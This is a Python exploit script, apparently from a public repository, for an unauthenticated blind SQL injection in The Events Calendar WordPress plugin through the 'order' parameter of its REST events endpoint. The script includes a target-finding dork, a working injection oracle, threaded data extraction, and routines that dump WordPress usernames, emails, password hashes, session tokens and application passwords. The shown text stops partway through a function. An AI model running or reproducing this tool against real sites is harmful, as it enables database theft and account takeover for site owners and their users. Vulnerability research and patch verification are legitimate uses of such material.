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| #!/usr/bin/env python3
# CVE-2026-49772 - The Events Calendar (WordPress) Unauthenticated Blind SQL Injection
# Affected: The Events Calendar 6.15.12 - 6.16.2 (fixed in 6.16.3)
# Impact: Unauthenticated blind SQLi via the `order` param on /wp-json/tec/v1/events
# (ORDER BY injection). Full read of the database. No write, no stacked queries.
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-49772
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2 (Linux docker lab)
#
# Exploit Title: The Events Calendar 6.15.12-6.16.2 - Unauthenticated Blind SQL Injection
# Google Dork: inurl:"/wp-json/tec/v1/events"
# Date: 2026-06-22
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://theeventscalendar.com/
# Software Link: https://downloads.wordpress.org/plugin/the-events-calendar.6.16.2.zip
# Version: 6.15.12 - 6.16.2
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2
# CVE: CVE-2026-49772
import argparse
import json
import re
import shutil
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor
RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"
ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
REPO = "https://github.com/joshuavanderpoll/CVE-2026-49772"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-49772; +{REPO})"
# Experimental endpoint gate - server lowercases and compares this exact string.
EEA = (
"I understand that this endpoint is experimental and may change in a future "
"release without maintaining backward compatibility. I also understand that I "
"am using this endpoint at my own risk, while support is not provided for it."
)
VULN_MIN = (6, 15, 12)
VULN_MAX = (6, 16, 2)
def err(msg):
print(f"{RED}[-]{RESET} {msg}")
def ok(msg):
print(f"{GREEN}[+]{RESET} {msg}")
def info(msg):
print(f"{BLUE}[*]{RESET} {msg}")
def proc(msg):
print(f"{CYAN}[@]{RESET} {msg}")
def banner():
art = r"""
______ ______ ___ ___ ___ ____ ____ ___ ___________
/ ___/ | / / __/___|_ |/ _ \|_ |/ __/____/ / // _ \/_ /_ /_ |
/ /__ | |/ / _//___/ __// // / __// _ \/___/_ _/\_, / / / / / __/
\___/ |___/___/ /____/\___/____/\___/ /_/ /___/ /_/ /_/____/
"""
print(f"{PINK}{art}{RESET}")
print(f"{PINK}{BOLD}{REPO}{RESET}\n")
def normalize(target):
target = target.strip().rstrip("/")
if "://" not in target:
target = "http://" + target
return target
def hexlit(value):
if isinstance(value, str):
value = value.encode("utf-8")
return "0x" + value.hex()
def parse_version(text):
nums = []
for p in text.strip().split(".")[:3]:
digits = "".join(c for c in p if c.isdigit())
nums.append(int(digits) if digits else 0)
while len(nums) < 3:
nums.append(0)
return tuple(nums)
def is_vulnerable_version(ver):
return VULN_MIN <= ver <= VULN_MAX
def http_get(url, ua, timeout, headers=None):
req = urllib.request.Request(url, method="GET")
req.add_header("User-Agent", ua)
if headers:
for k, v in headers.items():
req.add_header(k, v)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
start = time.perf_counter()
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
body = resp.read()
elapsed = time.perf_counter() - start
return resp.status, dict(resp.headers), body, elapsed
except urllib.error.HTTPError as e:
elapsed = time.perf_counter() - start
return e.code, dict(e.headers), e.read(), elapsed
except Exception as e:
elapsed = time.perf_counter() - start
return None, {}, str(e).encode(), elapsed
def events_request(base, ua, timeout, order):
url = base + "/wp-json/tec/v1/events?" + urllib.parse.urlencode(
{"orderby": "event_date", "order": order}
)
return http_get(url, ua, timeout, {"X-TEC-EEA": EEA})
class Oracle:
# Wraps the blind ORDER BY injection into a single boolean test:
# true(cond) -> True if the SQL condition `cond` holds on the target.
def __init__(self, base, ua, timeout, technique, delay):
self.base = base
self.ua = ua
self.timeout = timeout
self.technique = technique
self.delay = delay
self.requests = 0
def _send(self, order):
self.requests += 1
return events_request(self.base, self.ua, self.timeout, order)
def true(self, cond):
if self.technique == "time":
order = f"ASC,(SELECT CASE WHEN ({cond}) THEN SLEEP({self.delay}) ELSE 0 END)"
_, _, _, elapsed = self._send(order)
return elapsed >= self.delay
# boolean: a true condition triggers a multi-row subquery error, which
# makes the whole SELECT fail and the endpoint return an empty array.
order = f"ASC,(SELECT CASE WHEN ({cond}) THEN (SELECT 1 UNION SELECT 2) ELSE 1 END)"
_, _, body, _ = self._send(order)
return body.strip() == b"[]"
def gt(self, expr, n):
return self.true(f"({expr})>{n}")
def calibrate(self):
# A known-true and known-false condition must read differently, else the
# oracle is unreliable (wrong baseline, WAF, no rows, etc.).
return self.true("1=1") and not self.true("1=2")
def errors(self, subquery):
# A real LENGTH is never above a million; only an erroring subquery makes
# the comparison itself fail, which the boolean oracle reads as "true".
# Catches invalid table/column names before a pointless full extraction.
return self.technique == "boolean" and self.gt(f"LENGTH(({subquery}))", 1000000)
def search_int(oracle, expr, hi):
lo = 0
while lo < hi:
mid = (lo + hi) // 2
if oracle.gt(expr, mid):
lo = mid + 1
else:
hi = mid
return lo
def extract_string(oracle, subquery, threads=8, max_length=1024, live=False, prefix=""):
if oracle.errors(subquery):
return None
length = search_int(oracle, f"LENGTH(({subquery}))", max_length)
if length <= 0:
return ""
if length >= max_length:
err(f"Value hit the {max_length}-char cap - query may be invalid or huge")
return None
chars = [None] * length
stream = live and sys.stdout.isatty()
lock = threading.Lock()
prefix_len = len(ANSI_RE.sub("", prefix))
def render(end=False):
line = "".join(c if c is not None else "·" for c in chars)
# Final value prints in full (may wrap once). Live frames are clamped to a
# single terminal row so \r + clear-line can fully overwrite them.
if not end:
avail = max(10, shutil.get_terminal_size((100, 24)).columns - prefix_len - 1)
if len(line) > avail:
line = line[: avail - 1] + "…"
sys.stdout.write(f"\033[2K\r{prefix}{line}{RESET}")
if end:
sys.stdout.write("\n")
sys.stdout.flush()
if stream:
render()
def pull(pos):
code = search_int(oracle, f"ASCII(SUBSTRING(({subquery}),{pos},1))", 127)
chars[pos - 1] = chr(code) if code else ""
if stream:
with lock:
render()
with ThreadPoolExecutor(max_workers=threads) as pool:
pool.map(pull, range(1, length + 1))
result = "".join(c or "" for c in chars)
if stream:
render(end=True)
return result
def show(oracle, sql, threads, label, max_length=512):
# Extract one value, streaming it live, and report it consistently.
value = extract_string(
oracle, sql, threads, max_length, live=True, prefix=f"{GREEN}[+]{RESET} {label}: "
)
if value is None:
err(f"{label}: query errored")
elif not sys.stdout.isatty():
ok(f"{label}: {value}")
return value
def detect_version(base, ua, timeout):
url = base + "/wp-content/plugins/the-events-calendar/readme.txt"
status, _, body, _ = http_get(url, ua, timeout)
if status != 200 or not body:
return None
for line in body.decode("utf-8", "ignore").splitlines():
if line.lower().startswith("stable tag"):
return line.split(":", 1)[1].strip()
return None
def detect_endpoint(base, ua, timeout):
status, _, body, _ = http_get(base + "/wp-json/", ua, timeout)
if status != 200 or not body:
return False
try:
return "tec/v1" in json.loads(body).get("namespaces", [])
except Exception:
return False
def count_events(base, ua, timeout):
status, headers, _, _ = events_request(base, ua, timeout, "ASC")
if status != 200:
return None
total = headers.get("X-WP-Total")
return int(total) if total and total.isdigit() else None
def ensure_ready(base, ua, timeout):
if not detect_endpoint(base, ua, timeout):
err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
return False
version = detect_version(base, ua, timeout)
if version:
flag = "affected" if is_vulnerable_version(parse_version(version)) else "outside range"
info(f"The Events Calendar version: {version} ({flag})")
n = count_events(base, ua, timeout)
if n is None:
err("Events endpoint not reachable")
return False
if n == 0:
err("No events present - the blind ORDER BY oracle needs >=1 row")
return False
info(f"Endpoint live, {n} event(s) visible - oracle ready")
return True
def detect_prefix(oracle, threads, override):
if override:
return override
name = extract_string(
oracle,
"SELECT table_name FROM information_schema.tables "
"WHERE table_schema=database() AND table_name LIKE 0x255f7573657273 LIMIT 1",
threads,
max_length=64,
)
if name and name.endswith("users"):
return name[: -len("users")]
return "wp_"
def run_check(base, ua, timeout):
proc(f"Target: {base}")
if not detect_endpoint(base, ua, timeout):
err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
return False
ok("REST namespace tec/v1 is exposed")
version = detect_version(base, ua, timeout)
if version:
info(f"Detected The Events Calendar version: {version}")
if is_vulnerable_version(parse_version(version)):
ok(f"Version {version} is in the affected range (6.15.12 - 6.16.2)")
else:
err(f"Version {version} is outside the affected range")
else:
info("Version not readable from readme.txt - relying on behaviour check")
n = count_events(base, ua, timeout)
if n is not None:
info(f"Published events visible to the endpoint: {n}")
if n == 0:
err("No events present - time-based ORDER BY check needs >=1 row")
return False
delay = 3
proc(f"Running non-destructive time-based check (SLEEP {delay})...")
_, _, _, base_a = events_request(base, ua, timeout, "ASC")
_, _, _, base_b = events_request(base, ua, timeout, "DESC")
baseline = min(base_a, base_b)
_, _, _, injected = events_request(base, ua, timeout, f"ASC,(SELECT SLEEP({delay}))")
info(f"Baseline: {baseline:.2f}s Injected: {injected:.2f}s")
if injected - baseline >= delay:
ok(f"{BOLD}VULNERABLE{RESET} - injected SLEEP delayed the response")
info("Sink: ORDER BY event_date <order> on /wp-json/tec/v1/events")
return True
err("No significant delay - target does not appear injectable (likely patched)")
return False
def run_recon(oracle, threads, prefix_override):
proc("Fingerprinting database...")
prefix = detect_prefix(oracle, threads, prefix_override)
ok(f"Table prefix: {prefix}")
items = [
("DB version", "SELECT @@version"),
("Current user", "SELECT CURRENT_USER()"),
("Database", "SELECT DATABASE()"),
("Hostname", "SELECT @@hostname"),
("Compile OS", "SELECT @@version_compile_os"),
(
"Privileges",
"SELECT GROUP_CONCAT(privilege_type) FROM information_schema.user_privileges",
),
]
for label, sql in items:
show(oracle, sql, threads, label)
users = search_int(oracle, f"SELECT COUNT(*) FROM {prefix}users", 100000)
ok(f"WordPress users: {users}")
info(f"Requests sent: {oracle.requests}")
return True
def dump_rows(oracle, table, columns, threads, where, rows):
cond = f" WHERE {where}" if where else ""
total = search_int(oracle, f"SELECT COUNT(*) FROM {table}{cond}", 1000000)
ok(f"{table}: {total} row(s)")
limit = min(total, rows)
if total > rows:
info(f"Showing first {rows} (use --rows to change)")
sep = hexlit("|")
coalesced = ",".join(f"COALESCE({c},0x4e554c4c)" for c in columns)
print(f"{BOLD}{' | '.join(columns)}{RESET}")
for i in range(limit):
sql = f"SELECT CONCAT_WS({sep},{coalesced}) FROM {table}{cond} LIMIT {i},1"
row = extract_string(
oracle, sql, threads, max_length=4096, live=True, prefix=f"{GREEN}[{i}] {RESET}{GREEN}"
)
if row is None:
err("Row query errored - check the table name and --where clause")
break
if not sys.stdout.isatty():
print(f"{GREEN}[{i}] {row}{RESET}")
info(f"Requests sent: {oracle.requests}")
return True
def run_users(oracle, threads, prefix_override, rows):
prefix = detect_prefix(oracle, threads, prefix_override)
proc(f"Dumping {prefix}users...")
cols = ["ID", "user_login", "user_email", "user_pass", "user_activation_key"]
return dump_rows(oracle, f"{prefix}users", cols, threads, None, rows)
def run_user_meta(oracle, threads, prefix_override, rows, where):
prefix = detect_prefix(oracle, threads, prefix_override)
proc(f"Dumping {prefix}usermeta...")
if not where:
# Default to the security-relevant meta keys.
keys = ["session_tokens", f"{prefix}capabilities", "community_events_status"]
app_pw = "_application_passwords"
in_list = ",".join(hexlit(k) for k in keys + [app_pw])
where = f"meta_key IN ({in_list})"
info("Filtering to session/capability/app-password keys (override with --where)")
cols = ["umeta_id", "user_id", "meta_key", "meta_value"]
return dump_rows(oracle, f"{prefix}usermeta", cols, threads, where, rows)
def run_get_table(oracle, threads, table, rows, where):
proc(f"Discovering columns of {table}...")
cols_csv = extract_string(
oracle,
"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
f"WHERE table_schema=database() AND table_name={hexlit(table)} "
"ORDER BY ordinal_position",
threads,
|
